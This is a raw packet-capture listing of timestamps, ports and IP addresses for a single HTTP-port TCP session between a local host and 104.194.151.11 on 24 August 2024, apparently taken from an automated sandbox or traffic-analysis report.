Aug 24, 2024 12:21:58.332782984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.332791090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.332814932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.332833052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.332833052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.332844019 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.332854033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.332865000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.332873106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.332892895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.332916021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421339989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421399117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421426058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421437979 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421447992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421463966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421471119 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421477079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421484947 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421487093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421499014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421514034 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421519041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421524048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421531916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421540976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421551943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421551943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421567917 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421570063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421581984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421591043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421593904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421601057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421607971 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421612978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421624899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421638012 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421667099 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421683073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421693087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421703100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421710968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421721935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421726942 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421744108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421745062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421755075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421763897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421771049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421776056 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421786070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421787024 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421797037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421807051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421809912 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421821117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421833038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421842098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421843052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421889067 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421937943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421948910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421958923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421967983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421981096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421984911 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.421991110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.421996117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422007084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422018051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422023058 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422041893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422053099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422055960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422063112 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422074080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422076941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422090054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422103882 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422113895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422125101 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422157049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422200918 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422231913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422276020 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422329903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422341108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422350883 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422363043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422373056 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422378063 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422384024 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422399998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422400951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422413111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422420025 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422421932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422440052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422440052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422451973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422461033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422465086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422472000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422482014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422486067 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422492981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422492981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422507048 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422518015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422519922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422527075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422549009 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422558069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422560930 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422569036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422605991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422646046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422656059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422666073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422693014 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422703981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422875881 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422885895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422909021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422919989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422920942 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422929049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422940969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422955990 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422966957 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422983885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.422988892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.422993898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423024893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423029900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423068047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423130035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423173904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423177004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423216105 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423268080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423278093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423294067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423304081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423310041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423314095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423325062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423336983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423338890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423347950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423351049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423374891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423394918 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423419952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423430920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423439980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423450947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423463106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423465014 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423474073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423485041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423491955 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423497915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423515081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423527956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423530102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423541069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423549891 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423561096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423571110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423576117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423582077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423594952 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423604965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423625946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423655033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423666954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423676014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423687935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423701048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423721075 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423789978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423799038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423809052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423818111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423830032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423839092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423839092 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423851013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423857927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423863888 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.423868895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423887968 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.423906088 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.511929035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512001038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512011051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512021065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512042999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512048960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512053967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512063980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512074947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512078047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512085915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512096882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512109041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512131929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512151957 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512236118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512247086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512257099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512264967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512275934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512293100 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512305021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512339115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512367964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512377977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512387991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512398005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512409925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512411118 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512435913 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512454033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512465954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512476921 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512490988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512502909 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512504101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512515068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512525082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512536049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512537003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512552977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512557030 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512563944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512578964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512589931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512592077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512600899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512603045 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512612104 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512628078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512630939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512638092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512649059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512659073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512666941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512671947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512686014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512696981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512700081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.512725115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.512737036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.555749893 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.560730934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745189905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745212078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745223999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745234966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745246887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745263100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745271921 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745271921 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745280981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745292902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745299101 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745306015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745307922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745316982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745327950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745337009 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745341063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745368958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745383978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745635986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745646000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745656967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745680094 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745690107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745702982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745714903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745729923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745744944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745747089 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745758057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745769978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745770931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745795965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745806932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745831013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745840073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745850086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745861053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745879889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745881081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745887995 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745893002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745903015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745913982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745914936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745937109 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745942116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745964050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745965004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745975971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745978117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.745985985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.745995998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746006012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746009111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746009111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746022940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746032953 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746035099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746045113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746056080 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746057034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746074915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746078968 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746085882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746098042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746098042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746108055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746118069 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746138096 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746155977 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746599913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746648073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746651888 CEST	80	49730	104.194.151.11	192.168.2.4
